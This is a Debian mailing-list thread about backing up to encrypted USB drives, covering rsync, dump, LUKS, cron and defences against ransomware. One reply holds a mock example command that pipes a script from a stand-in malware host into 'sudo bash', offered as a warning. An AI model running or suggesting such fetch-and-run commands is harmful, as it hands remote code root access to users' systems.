Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

[Reco]

On Mon, Nov 19, 2018 at 09:50:12AM -0800, Rick Thomas wrote:
> 
> 
> > On Nov 18, 2018, at 7:31 PM, Reco  wrote:
> > 
> > On Sun, Nov 18, 2018 at 11:56:27AM -0800, Rick Thomas wrote:
> >> 
>  On 11/14/18, Reco  wrote:
> > If you're content with losing all this metadata in your backup - there
> > are rsync, cpio or tar. Or all those ‘backup solutions' based on those.
> >> 
>  On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
>  Do I need all that metadata?  This is for me at home so it's pretty
>  much a single user machine.
> >> 
> >>> On Nov 14, 2018, at 10:26 AM, Reco  wrote:
> >>> That's for you to decide. I'd say you definitely need it for the backups
> >>> of / and /var and can *probably* skip it for /home, but YMMV.
> >> 
> >> Don’t the options for rsync -aAHX preserve all the metadata?  Is there 
> >> something besides
> > 
> > Yep, there is at least one thing rsync looses along the way:
> > 
> > # chattr +i /bin/ping
> > # rsync -aHAX /bin/ping /tmp
> > # lsattr /bin/ping
> > ie--- /bin/ping
> > # lsattr /tmp/ping
> > -e--- /tmp/ping
> 
> Fascinating…
> 1) Are there any other extended attributes that are not copied by
> rsync? Or is there something special about “immutable”.

Rsync should ignore any extended attribute listed at chattr(1) save for
'e'.


> 2) Is this a bug or a feature?

Rather a lack of implementation. Some may consider it a bug, but rsync
behaved like this for may years - see [1], for example.


> Should there be a bg report filed on this phenomenon?

Probably. The question is - who's going to write a patch that implements
such feature?


> If not, should it be documented in the rsync(1) man page?  Does that need a 
> bug report?

Yes, definitely. But then again, chattr(1) is it's filesystem-specific.
In Debian it's customary to document cornercases in README.Debian, not in 
manpage.

Reco

[1] https://lists.samba.org/archive/rsync/2011-February/026039.html

Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

[Rick Thomas]

> On Nov 18, 2018, at 7:31 PM, Reco  wrote:
> 
>   Hi.
> 
> On Sun, Nov 18, 2018 at 11:56:27AM -0800, Rick Thomas wrote:
>> 
 On 11/14/18, Reco  wrote:
> If you're content with losing all this metadata in your backup - there
> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.
>> 
 On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
 Do I need all that metadata?  This is for me at home so it's pretty
 much a single user machine.
>> 
>>> On Nov 14, 2018, at 10:26 AM, Reco  wrote:
>>> That's for you to decide. I'd say you definitely need it for the backups
>>> of / and /var and can *probably* skip it for /home, but YMMV.
>> 
>> Don’t the options for rsync -aAHX preserve all the metadata?  Is there 
>> something besides
> 
> Yep, there is at least one thing rsync looses along the way:
> 
> # chattr +i /bin/ping
> # rsync -aHAX /bin/ping /tmp
> # lsattr /bin/ping
> ie--- /bin/ping
> # lsattr /tmp/ping
> -e--- /tmp/ping
> 
> Reco

Fascinating…
1) Are there any other extended attributes that are not copied by rsync? Or is 
there something special about “immutable”.
2) Is this a bug or a feature?  Should there be a bg report filed on this 
phenomenon?  If not, should it be documented in the rsync(1) man page?  Does 
that need a bug report?

Enjoy!
Rick

Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

[Reco]

Hi.

On Sun, Nov 18, 2018 at 11:56:27AM -0800, Rick Thomas wrote:
> 
> >> On 11/14/18, Reco  wrote:
> >>> If you're content with losing all this metadata in your backup - there
> >>> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.
> 
> >> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
> >> Do I need all that metadata?  This is for me at home so it's pretty
> >> much a single user machine.
> 
> > On Nov 14, 2018, at 10:26 AM, Reco  wrote:
> > That's for you to decide. I'd say you definitely need it for the backups
> > of / and /var and can *probably* skip it for /home, but YMMV.
> 
> Don’t the options for rsync -aAHX preserve all the metadata?  Is there 
> something besides

Yep, there is at least one thing rsync looses along the way:

# chattr +i /bin/ping
# rsync -aHAX /bin/ping /tmp
# lsattr /bin/ping
ie--- /bin/ping
# lsattr /tmp/ping
-e--- /tmp/ping

Reco

Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

[Rick Thomas]

>> On 11/14/18, Reco  wrote:
>>> If you're content with losing all this metadata in your backup - there
>>> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.

>> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
>> Do I need all that metadata?  This is for me at home so it's pretty
>> much a single user machine.

> On Nov 14, 2018, at 10:26 AM, Reco  wrote:
> That's for you to decide. I'd say you definitely need it for the backups
> of / and /var and can *probably* skip it for /home, but YMMV.

Don’t the options for rsync -aAHX preserve all the metadata?  Is there 
something besides

-a archive mode; equals -rlptgoD (no -H,-A,-X)
-p preserve permissions
-g preserve group
-o preserve owner
-l copy symlinks as symlinks
-t preserve modification times
-A preserve ACLs (implies -p)
-H preserve hard links
-X preserve extended attributes


?

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/15/18, Reco  wrote:
> On Thu, Nov 15, 2018 at 02:00:47PM -0500, Lee wrote:
>> On 11/15/18, Reco  wrote:
>> > On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
>> >> implying you keep lots of backups.  For how long?
>> >
>> > Depends. Backups of your 1-2 GB of root/var can be kept for a year,
>> > given weekly backups and a typical multi TB NAS.
>> > Private user's data can be measured in terabytes, so keeping more than
>> > a
>> > couple of backups is problematic.
>>
>> There we go :)   You've been talking enterprise grade backup standards -
>> right?
>
> Nope. That's my home setup.
> Assorted collection of my private files is worth 2.4Tb, and that's
> excluding
> wife's and kids'.
> All stuff is triple-mirrored (as in - three different devices), total
> hardware cost is less than $500 disks excluded.
>
> I don't speak of enterprisey things on this list. But I admit that
> certain habits crept from office to the home ;)

OK.. I am suitably impressed :)

>> Which is fine & maybe someday I'll get there.  But right now simple,
>> easy & blatantly obvious something worked or no is more important to
>> me.
>
> A single consumer-grade NAS with a lowly RAID1 is simple to me.

Right.  Like I said - maybe someday I'll get there.

Regards,
Lee

Re: how to backup to an encrypted usb drive?

[Reco]

On Thu, Nov 15, 2018 at 02:00:47PM -0500, Lee wrote:
> On 11/15/18, Reco  wrote:
> > On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
> >> implying you keep lots of backups.  For how long?
> >
> > Depends. Backups of your 1-2 GB of root/var can be kept for a year,
> > given weekly backups and a typical multi TB NAS.
> > Private user's data can be measured in terabytes, so keeping more than a
> > couple of backups is problematic.
> 
> There we go :)   You've been talking enterprise grade backup standards - 
> right?

Nope. That's my home setup.
Assorted collection of my private files is worth 2.4Tb, and that's excluding
wife's and kids'.
All stuff is triple-mirrored (as in - three different devices), total
hardware cost is less than $500 disks excluded.

I don't speak of enterprisey things on this list. But I admit that
certain habits crept from office to the home ;)


> Which is fine & maybe someday I'll get there.  But right now simple,
> easy & blatantly obvious something worked or no is more important to
> me.

A single consumer-grade NAS with a lowly RAID1 is simple to me.


Reco

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/15/18, Reco  wrote:
> On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
>> implying you keep lots of backups.  For how long?
>
> Depends. Backups of your 1-2 GB of root/var can be kept for a year,
> given weekly backups and a typical multi TB NAS.
> Private user's data can be measured in terabytes, so keeping more than a
> couple of backups is problematic.

There we go :)   You've been talking enterprise grade backup standards - right?

Which is fine & maybe someday I'll get there.  But right now simple,
easy & blatantly obvious something worked or no is more important to
me.

>> If I ever put debian on something I don't turn off then cron is an
>> option.  But right now I've got debian on a laptop that I don't leave
>> running 24x7
>
> anacron is the answer for that. It even takes into the account whenever
> the laptop is on battery or on AC.

another good reference.

Thanks for all your help!
Lee

Re: how to backup to an encrypted usb drive?

[Celejar]

On Thu, 15 Nov 2018 08:07:34 +0300
Reco  wrote:

...

> Cron can and will send a e-mail to a pre-determined address, if a batch
> job writes something to stdout/stderr.
> So then you do a backup, you have two choices:
> 
> a) Log all and everything, and get your e-mail every day.
> b) Log errors only and get your e-mail only if something goes wrong.
> 
> I prefer the latter, but YMMV.

My problem with the latter has to do with the case where the backups
are pulled by a server, and that server loses connectivity or
crashes ...

Of course, this can be solved with some sort of monitoring solution,
but I do prefer the security of messages informing me that the backups
are executing properly.

Celejar

Re: how to backup to an encrypted usb drive?

[Reco]

Hi.

On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
> On 11/15/18, Reco  wrote:
> > Hi.
> 
> Hi.
> 
> > On Wed, Nov 14, 2018 at 05:03:53PM -0500, Lee wrote:
> >> > b) You do not keep a single backup.
> >> >
> >> > Besides, avoiding all those cryptolockers is easy. You just need to
> >> > learn to distinguish a trusted software from the untrusted. A trusted
> >> > software comes to you with your OS (in this case - Debian main
> >> > archive).
> >> > An untrusted software comes from elsewhere. Keep to a trusted software
> >> > and you'll be fine.
> >>
> >> Most probably.  But I think using Firefox comes with a certain amount
> >> of risk - probably not all that much on debian but still a risk; as
> >> does having an all-the-time online backup.
> >
> > Using any browser comes with the same amount of risk, in fact.
> > But if the regular user cannot overwrite the backups - there's little
> > harm in that.
> 
> But malware can overwrite users files which then get backed up..

Assuming you obtained a working sample of said malware and they
convinced you to run it - it's true.

But then again, there's people who apparently lose sleep and appetite if
they don't run that random binary obtained from the nearest warez dump
at least one per day ;)
Or, considering themselves Modern™, do something really dumb like:
curl 1337.haxor.siet/malware.here | sudo bash

I know one sure way to beat the user who's determined to inflict
themselves the harm, and that's called 'hourly filesystem snaphosts'.
Sadly it requires using certain controversial filesystems and does not
fits with everyone's definition of performance.


> implying you keep lots of backups.  For how long?

Depends. Backups of your 1-2 GB of root/var can be kept for a year,
given weekly backups and a typical multi TB NAS.
Private user's data can be measured in terabytes, so keeping more than a
couple of backups is problematic.


> >> > Avoiding human mistakes is impossible indeed, hence the backups. And
> >> > filesystem snapshots, but that's a different matter.
> >> >
> >> >
> >> >> > And, I'm strong believer of 'machine works, human thinks' principle.
> >> >> > Automating backups to NFS (and replicating them from there) is
> >> >> > simple.
> >> >> > Automating backup to USB drive - that's something that cannot be
> >> >> > done
> >> >> > without human intervention.
> >> >> >
> >> >> >> In other words, what am I missing?
> >> >
> >> > A good backup is run by cron. A bad backup is run manually.
> >> > Simple as that.
> 
> If I ever put debian on something I don't turn off then cron is an
> option.  But right now I've got debian on a laptop that I don't leave
> running 24x7

anacron is the answer for that. It even takes into the account whenever
the laptop is on battery or on AC.


> >> How do you check that your cron backups worked?  Which is assuming you
> >> do check :)
> >> The manual backups I do are fast enough that I can watch and see that
> >> nothing went wrong.
> >
> > Cron can and will send a e-mail to a pre-determined address, if a batch
> > job writes something to stdout/stderr.
> > So then you do a backup, you have two choices:
> >
> > a) Log all and everything, and get your e-mail every day.
> > b) Log errors only and get your e-mail only if something goes wrong.
> >
> > I prefer the latter, but YMMV.
> 
> I prefer getting email every day - with a "no problems" subject line
> if all goes right.  There's been times at work when something goes
> wrong & part of the something was mail on the cron server.
> 
> I just tried running a cron job that fails (didn't chmod +x thescript).  No 
> mail

That's a customary way to disable a cronjob so no surprises here.
Try running something with runtime output, such as:

#!/bin/sh
echo Hello cron world
exit 1


> Yeah.. I know.  Someday.  But setting up mail is way down on my
> priority list somewhere after "install debian on a machine I'll leave
> running 24x7" and I'm still working on "figure out how to dump
> windows."

Stock exim4 is more than enough for the typical 'local delivery'
scenario. They even provide a nice debconf frontend to a package.

Reco

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/15/18, Reco  wrote:
>   Hi.

Hi.

> On Wed, Nov 14, 2018 at 05:03:53PM -0500, Lee wrote:
>> > b) You do not keep a single backup.
>> >
>> > Besides, avoiding all those cryptolockers is easy. You just need to
>> > learn to distinguish a trusted software from the untrusted. A trusted
>> > software comes to you with your OS (in this case - Debian main
>> > archive).
>> > An untrusted software comes from elsewhere. Keep to a trusted software
>> > and you'll be fine.
>>
>> Most probably.  But I think using Firefox comes with a certain amount
>> of risk - probably not all that much on debian but still a risk; as
>> does having an all-the-time online backup.
>
> Using any browser comes with the same amount of risk, in fact.
> But if the regular user cannot overwrite the backups - there's little
> harm in that.

But malware can overwrite users files which then get backed up..
implying you keep lots of backups.  For how long?

>> > Avoiding human mistakes is impossible indeed, hence the backups. And
>> > filesystem snapshots, but that's a different matter.
>> >
>> >
>> >> > And, I'm strong believer of 'machine works, human thinks' principle.
>> >> > Automating backups to NFS (and replicating them from there) is
>> >> > simple.
>> >> > Automating backup to USB drive - that's something that cannot be
>> >> > done
>> >> > without human intervention.
>> >> >
>> >> >> In other words, what am I missing?
>> >
>> > A good backup is run by cron. A bad backup is run manually.
>> > Simple as that.

If I ever put debian on something I don't turn off then cron is an
option.  But right now I've got debian on a laptop that I don't leave
running 24x7

>> How do you check that your cron backups worked?  Which is assuming you
>> do check :)
>> The manual backups I do are fast enough that I can watch and see that
>> nothing went wrong.
>
> Cron can and will send a e-mail to a pre-determined address, if a batch
> job writes something to stdout/stderr.
> So then you do a backup, you have two choices:
>
> a) Log all and everything, and get your e-mail every day.
> b) Log errors only and get your e-mail only if something goes wrong.
>
> I prefer the latter, but YMMV.

I prefer getting email every day - with a "no problems" subject line
if all goes right.  There's been times at work when something goes
wrong & part of the something was mail on the cron server.

I just tried running a cron job that fails (didn't chmod +x thescript).  No mail

Yeah.. I know.  Someday.  But setting up mail is way down on my
priority list somewhere after "install debian on a machine I'll leave
running 24x7" and I'm still working on "figure out how to dump
windows."

Thanks,
Lee

Re: how to backup to an encrypted usb drive?

[Richard Hector]

On 15/11/18 6:12 PM, Reco wrote:
>   Hi.
> 
> On Thu, Nov 15, 2018 at 01:12:35PM +1300, Richard Hector wrote:
>> On 15/11/18 7:26 AM, Reco wrote:
 but leaves you open to cryptolocker ransomware & various 'oh shit!'
 moments when I do something stupid.  Offline & offsite is worth a
 certain amount of inconvenience to me.
>>> Nope. Because:
>>>
>>> a) You do not do backups as a regular user.
>>> b) You do not keep a single backup.
>>
>> How do you prevent access to the older backups? A cron job updating
>> /etc/exports on the server?
> 
> You meant "how do I prevent users' access to backups"?
> Filesystem permissions on NFS server solve it for me.
> Ordinary user has no business both reading or $DEITY forbid, writing to
> backups.
> 
> Or you meant "how do I prevent a backup user from overwriting old
> backups"?
> An incron script that moves completed (as in "file closed") backup to a
> different directory.

The latter - thanks.

FWIW, I use dirvish (which uses rsync), which operates in pull mode,
hence the destination is under control of the backup server, not the
machine being backed up. Yes, I'll probably lose some metadata.

Richard



signature.asc
Description: OpenPGP digital signature

Re: how to backup to an encrypted usb drive?

[Reco]

Hi.

On Thu, Nov 15, 2018 at 01:12:35PM +1300, Richard Hector wrote:
> On 15/11/18 7:26 AM, Reco wrote:
> >> but leaves you open to cryptolocker ransomware & various 'oh shit!'
> >> moments when I do something stupid.  Offline & offsite is worth a
> >> certain amount of inconvenience to me.
> > Nope. Because:
> > 
> > a) You do not do backups as a regular user.
> > b) You do not keep a single backup.
> 
> How do you prevent access to the older backups? A cron job updating
> /etc/exports on the server?

You meant "how do I prevent users' access to backups"?
Filesystem permissions on NFS server solve it for me.
Ordinary user has no business both reading or $DEITY forbid, writing to
backups.

Or you meant "how do I prevent a backup user from overwriting old
backups"?
An incron script that moves completed (as in "file closed") backup to a
different directory.

Reco

Re: how to backup to an encrypted usb drive?

[Reco]

Hi.

On Wed, Nov 14, 2018 at 05:03:53PM -0500, Lee wrote:
> > b) You do not keep a single backup.
> >
> > Besides, avoiding all those cryptolockers is easy. You just need to
> > learn to distinguish a trusted software from the untrusted. A trusted
> > software comes to you with your OS (in this case - Debian main archive).
> > An untrusted software comes from elsewhere. Keep to a trusted software
> > and you'll be fine.
> 
> Most probably.  But I think using Firefox comes with a certain amount
> of risk - probably not all that much on debian but still a risk; as
> does having an all-the-time online backup.

Using any browser comes with the same amount of risk, in fact.
But if the regular user cannot overwrite the backups - there's little
harm in that.


> > Avoiding human mistakes is impossible indeed, hence the backups. And
> > filesystem snapshots, but that's a different matter.
> >
> >
> >> > And, I'm strong believer of 'machine works, human thinks' principle.
> >> > Automating backups to NFS (and replicating them from there) is simple.
> >> > Automating backup to USB drive - that's something that cannot be done
> >> > without human intervention.
> >> >
> >> >> In other words, what am I missing?
> >
> > A good backup is run by cron. A bad backup is run manually.
> > Simple as that.
> 
> How do you check that your cron backups worked?  Which is assuming you
> do check :)
> The manual backups I do are fast enough that I can watch and see that
> nothing went wrong.

Cron can and will send a e-mail to a pre-determined address, if a batch
job writes something to stdout/stderr.
So then you do a backup, you have two choices:

a) Log all and everything, and get your e-mail every day.
b) Log errors only and get your e-mail only if something goes wrong.

I prefer the latter, but YMMV.

Reco

Re: how to backup to an encrypted usb drive?

[David Christensen]

On 11/14/18 7:01 AM, Lee wrote:
What are you using to backup your files 


I use tar(1), gzip(1), rsync(1), find(1), mv(1), ccrypt(1), md5sum(1), 
sha256sum(1), touch(1), and xorriso(1), for backups and archives.



I use dd(1) for images.


I have automated many chores with bash(1) and perl(1) scripts.



to an encrypted usb drive?


I use cryptsetup(8) to encrypt my drives and partitions.



This is my first try at moving off windows, so it'd be best to assume
I know almost nothing about linux admin stuff.


Get a desktop computer that you can dedicate to Linux.  (Installing and 
running Linux on a laptop is harder.)  Do the simplest installation you 
can per the Debian Installation Guide:


https://www.debian.org/releases/stable/installmanual


Type copious notes into a text file on the Windows computer and take 
photographs of screens as you go.



Get "Learning the Unix Operating System":

http://shop.oreilly.com/product/9780596002619.do


Find other Linux people to meet with -- Linux user groups, computer 
clubs, friends, whatever.



When you are ready, get "UNIX and Linux System Administration Handbook":

https://admin.com/



What I've been using on windows is truecrypt to encrypt the drive and
1) unison + gui frontend to do a quick backup of selected files & 2) a
bat file that calls xcopy to copy files with the archive flag set to
YYMMDD/ on an encrypted drive (ie. an incremental backup; I do a full backup 
every few months)


Windows Backup & Restore is the canonical tool for backing up and 
restoring Windows machines.  However, I do not encrypt the backup drive, 
as I have not researched how to encrypt the backup drive in such a way 
that it can be used in most or all recovery scenarios.



David

Re: how to backup to an encrypted usb drive?

[Richard Hector]

On 15/11/18 7:26 AM, Reco wrote:
>> but leaves you open to cryptolocker ransomware & various 'oh shit!'
>> moments when I do something stupid.  Offline & offsite is worth a
>> certain amount of inconvenience to me.
> Nope. Because:
> 
> a) You do not do backups as a regular user.
> b) You do not keep a single backup.

How do you prevent access to the older backups? A cron job updating
/etc/exports on the server?

Richard



signature.asc
Description: OpenPGP digital signature

Re: how to backup to an encrypted usb drive?

[Lee]

> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
>> On 11/14/18, Reco  wrote:
  <.. snip ..>
>> > If you're content with losing all this metadata in your backup - there
>> > are rsync, cpio or tar. Or all those 'backup solutions' based on those.
>>
>> Do I need all that metadata?  This is for me at home so it's pretty
>> much a single user machine.
>
> That's for you to decide. I'd say you definitely need it for the backups
> of / and /var and can *probably* skip it for /home, but YMMV.
>
>
>> >> > For the encryption of this hypothetical drive (I don't use USB
>> >> > drives
>> >> > for these purposes) - luks only.
>> >>
>> >> Why don't you like USB drives for these purposes?
>> >
>> > Because backing up something to NFS share is easier.
>>
>> but leaves you open to cryptolocker ransomware & various 'oh shit!'
>> moments when I do something stupid.  Offline & offsite is worth a
>> certain amount of inconvenience to me.
>
> Nope. Because:
>
> a) You do not do backups as a regular user.

On windows I certainly do.  But if I need all the file metadata as
well as the files.. yeah, probably not & I'm going to have to rethink
my whole backup process.

> b) You do not keep a single backup.
>
> Besides, avoiding all those cryptolockers is easy. You just need to
> learn to distinguish a trusted software from the untrusted. A trusted
> software comes to you with your OS (in this case - Debian main archive).
> An untrusted software comes from elsewhere. Keep to a trusted software
> and you'll be fine.

Most probably.  But I think using Firefox comes with a certain amount
of risk - probably not all that much on debian but still a risk; as
does having an all-the-time online backup.

> Avoiding human mistakes is impossible indeed, hence the backups. And
> filesystem snapshots, but that's a different matter.
>
>
>> > And, I'm strong believer of 'machine works, human thinks' principle.
>> > Automating backups to NFS (and replicating them from there) is simple.
>> > Automating backup to USB drive - that's something that cannot be done
>> > without human intervention.
>> >
>> >> In other words, what am I missing?
>
> A good backup is run by cron. A bad backup is run manually.
> Simple as that.

How do you check that your cron backups worked?  Which is assuming you
do check :)
The manual backups I do are fast enough that I can watch and see that
nothing went wrong.

>> > Encrypted backups have their purpose, of course. For storing backups
>> > offsite (whenever it's physical or cloud) encryption is invaluable.
>> >
>> > But, the encryption is only as secure as the management of the
>> > encryption key, and the only relatively secure example of that I can
>> > come up with is gpg. And utilizing gpg for unattended backups is
>> > painful
>> > to say the least.
>>
>> Which is why I liked truecrypt.  Is luks roughly equivalent for
>> encrypting the whole drive?
>
> No, it's better. More encryption algorithms, definitely more code audit
> *and* virtually zero 'became superuser' vulnerabilities.

OK - good to know!

Thanks,
Lee

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/14/18, Michael Wagner  wrote:
> On Nov 14, 2018 at 12:18:47, Lee wrote:
>> On 11/14/18, Jonathan Dowland  wrote:
>>
>> > I'd recommend
>> > taking a look at rsync for performing the copy.
>>
>> I've used rsync at work.  It was fast & good enuf for keeping my files
>> on different machines consistent but I never figured out how to sync
>> everything except   eg. backing up
>> ~/.cache seems like a waste of time & disk space.
>
> Hello Lee,
>
> look at the options --exclude and --exclude-from in the manpage. It's
> easy to exclude files or directories with rsync.

Maybe I was half-blind the morning I did the man rsync.  Or maybe it
was not bothering to ask anyone & muddling through as best I could,
but clearly I need to take another look at rsync.

Thanks
Lee

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/14/18, to...@tuxteam.de  wrote:
> On Wed, Nov 14, 2018 at 12:18:47PM -0500, Lee wrote:
>
> [...]
>
> Just for one data point -- I do my backups basically this way, all
> from the command line
>
>   sudo cryptsetup open /dev/sdXX backup
>   sudo mount /dev/mapper/backup /media/backup
>   backup # this is a script in ~/bin which basically calls rsync
>   sudo umount /media/backup
>   sudo cryptsetup close backup
>
> The rsync thingie in ~/bin/backup basically does some sanity checks
> and calls rsync with --filter="merge $home/.backup/filter". There,
> I list some basic excludes and, what's more important, have a line
> "dir-merge .backup-filter" -- so I can exclude big, uninteresting
> things (videos, virtual OS images etc) which are easy to recover.
>
> This way my backup is around 55G and fits in a 64G stick. Has served
> me well so far.

Wow!  Thanks for the --filter tip.  Somehow I managed to miss that
when looking at the rsync man page

Lee

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/14/18, Andrew McGlashan  wrote:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA256
>
> Hi,
>
> On 15/11/18 2:01 am, Lee wrote:
>> What are you using to backup your files to an encrypted usb drive?
>
> In an ideal world:
  <.. snip good suggestions ..>
> 3. Encrypt with LUKS (full disk encryption) where you can, the entire
> device, partition only if you need to.

That's what I want to do next.  But I want to save a few files first &
figured now was the time to figure out how I want to backup my data.
I'm not terribly concerned with backing up everything since most
things I can just re-install.

> Actual backup, there are so many options.
>
> Have multiple USB drives of same size, update drive 1 to drive 2 using
> rsync -- then next drive 2 to drive 3.

I'm missing something.  Why not hard drive => usb1, then usb2, then usb3?
Or this is based on using rsnapshot & keeping hourly/daily/etc.
backups consistent on all the drives?

> Use rsnapshot for the backups with hourly, daily, weekly ... and more
> if needed, snapshots.

That looks interesting.  Thanks for the pointer

> Save encrypted backups to off-site storage or at least keep one
> encrypted backup off site at all times -- hence why at least 3 drives.

yes :)

Thanks
Lee

Re: how to backup to an encrypted usb drive?

[Reco]

Hi.

On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
> On 11/14/18, Reco  wrote:
> > On Wed, Nov 14, 2018 at 10:50:44AM -0500, Lee wrote:
> >> On 11/14/18, Reco  wrote:
> >> >  Hi.
> >> >
> >> > On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
> >> >> What are you using to backup your files to an encrypted usb drive?
> >> >
> >> > For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
> >>
> >> Which seems to require restore or xfsrestore?
> >
> > Precisely.
> >
> >
> >> https://linux.die.net/man/8/xfsdump
> >>   The media format used by xfsdump can only be understood by xfsrestore.
> >> I can't tell from a quick look at dump/restore if I can look at files
> >> on the backup media or not
> >
> > No, you do not. You'll need restore/xfsrestore first.
> > The whole purpose of a good filesystem backup is to capture all
> > file/directory attributes (which include, but aren't limited to POSIX
> > permissions, POSIX ACLs, SELinux labels, capability labels, extended
> > attributes to name a few). That's where dump/xfsdump guarantee you to
> > capture anything that a filesystem supports.
> >
> > If you're content with losing all this metadata in your backup - there
> > are rsync, cpio or tar. Or all those 'backup solutions' based on those.
> 
> Do I need all that metadata?  This is for me at home so it's pretty
> much a single user machine.

That's for you to decide. I'd say you definitely need it for the backups
of / and /var and can *probably* skip it for /home, but YMMV.


> >> > For the encryption of this hypothetical drive (I don't use USB drives
> >> > for these purposes) - luks only.
> >>
> >> Why don't you like USB drives for these purposes?
> >
> > Because backing up something to NFS share is easier.
> 
> but leaves you open to cryptolocker ransomware & various 'oh shit!'
> moments when I do something stupid.  Offline & offsite is worth a
> certain amount of inconvenience to me.

Nope. Because:

a) You do not do backups as a regular user.
b) You do not keep a single backup.

Besides, avoiding all those cryptolockers is easy. You just need to
learn to distinguish a trusted software from the untrusted. A trusted
software comes to you with your OS (in this case - Debian main archive).
An untrusted software comes from elsewhere. Keep to a trusted software
and you'll be fine.

Avoiding human mistakes is impossible indeed, hence the backups. And
filesystem snapshots, but that's a different matter.


> > And, I'm strong believer of 'machine works, human thinks' principle.
> > Automating backups to NFS (and replicating them from there) is simple.
> > Automating backup to USB drive - that's something that cannot be done
> > without human intervention.
> >
> >> In other words, what am I missing?

A good backup is run by cron. A bad backup is run manually.
Simple as that.


> > Encrypted backups have their purpose, of course. For storing backups
> > offsite (whenever it's physical or cloud) encryption is invaluable.
> >
> > But, the encryption is only as secure as the management of the
> > encryption key, and the only relatively secure example of that I can
> > come up with is gpg. And utilizing gpg for unattended backups is painful
> > to say the least.
> 
> Which is why I liked truecrypt.  Is luks roughly equivalent for
> encrypting the whole drive?

No, it's better. More encryption algorithms, definitely more code audit
*and* virtually zero 'became superuser' vulnerabilities.

Reco

Re: how to backup to an encrypted usb drive?

[Michael Wagner]

On Nov 14, 2018 at 12:18:47, Lee wrote:
> On 11/14/18, Jonathan Dowland  wrote:
> 
> > I'd recommend
> > taking a look at rsync for performing the copy.
> 
> I've used rsync at work.  It was fast & good enuf for keeping my files
> on different machines consistent but I never figured out how to sync
> everything except   eg. backing up
> ~/.cache seems like a waste of time & disk space.

Hello Lee,

look at the options --exclude and --exclude-from in the manpage. It's 
easy to exclude files or directories with rsync.

Hth Michael

-- 
BOFH excuse #284:

Electrons on a bender


signature.asc
Description: PGP signature

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/14/18, Reco  wrote:
> On Wed, Nov 14, 2018 at 10:50:44AM -0500, Lee wrote:
>> On 11/14/18, Reco  wrote:
>> >Hi.
>> >
>> > On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
>> >> What are you using to backup your files to an encrypted usb drive?
>> >
>> > For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
>>
>> Which seems to require restore or xfsrestore?
>
> Precisely.
>
>
>> https://linux.die.net/man/8/xfsdump
>>   The media format used by xfsdump can only be understood by xfsrestore.
>> I can't tell from a quick look at dump/restore if I can look at files
>> on the backup media or not
>
> No, you do not. You'll need restore/xfsrestore first.
> The whole purpose of a good filesystem backup is to capture all
> file/directory attributes (which include, but aren't limited to POSIX
> permissions, POSIX ACLs, SELinux labels, capability labels, extended
> attributes to name a few). That's where dump/xfsdump guarantee you to
> capture anything that a filesystem supports.
>
> If you're content with losing all this metadata in your backup - there
> are rsync, cpio or tar. Or all those 'backup solutions' based on those.

Do I need all that metadata?  This is for me at home so it's pretty
much a single user machine.

>> > For the encryption of this hypothetical drive (I don't use USB drives
>> > for these purposes) - luks only.
>>
>> Why don't you like USB drives for these purposes?
>
> Because backing up something to NFS share is easier.

but leaves you open to cryptolocker ransomware & various 'oh shit!'
moments when I do something stupid.  Offline & offsite is worth a
certain amount of inconvenience to me.

> And, I'm strong believer of 'machine works, human thinks' principle.
> Automating backups to NFS (and replicating them from there) is simple.
> Automating backup to USB drive - that's something that cannot be done
> without human intervention.
>
>> In other words, what am I missing?
>
> Encrypted backups have their purpose, of course. For storing backups
> offsite (whenever it's physical or cloud) encryption is invaluable.
>
> But, the encryption is only as secure as the management of the
> encryption key, and the only relatively secure example of that I can
> come up with is gpg. And utilizing gpg for unattended backups is painful
> to say the least.

Which is why I liked truecrypt.  Is luks roughly equivalent for
encrypting the whole drive?

Thanks
Lee

Re: how to backup to an encrypted usb drive?

[tomas]

On Wed, Nov 14, 2018 at 12:18:47PM -0500, Lee wrote:

[...]

> Well that's .. surprising.  I went with xfce because it's supposed to
> be 'lightweight' and I'm trying debian on an old laptop.  If I go with
> something other than xfce is it just mounting & unlocking the external
> drive that changes or is there more?

Just for one data point -- I do my backups basically this way, all
from the command line

  sudo cryptsetup open /dev/sdXX backup
  sudo mount /dev/mapper/backup /media/backup
  backup # this is a script in ~/bin which basically calls rsync
  sudo umount /media/backup
  sudo cryptsetup close backup

The rsync thingie in ~/bin/backup basically does some sanity checks
and calls rsync with --filter="merge $home/.backup/filter". There,
I list some basic excludes and, what's more important, have a line
"dir-merge .backup-filter" -- so I can exclude big, uninteresting
things (videos, virtual OS images etc) which are easy to recover.

This way my backup is around 55G and fits in a 64G stick. Has served
me well so far.

Cheers
-- t


signature.asc
Description: Digital signature

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/14/18, Jonathan Dowland  wrote:
> On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
>>What I've been using on windows is truecrypt to encrypt the drive and
>>1) unison + gui frontend to do a quick backup of selected files & 2) a
>>bat file that calls xcopy to copy files with the archive flag set to
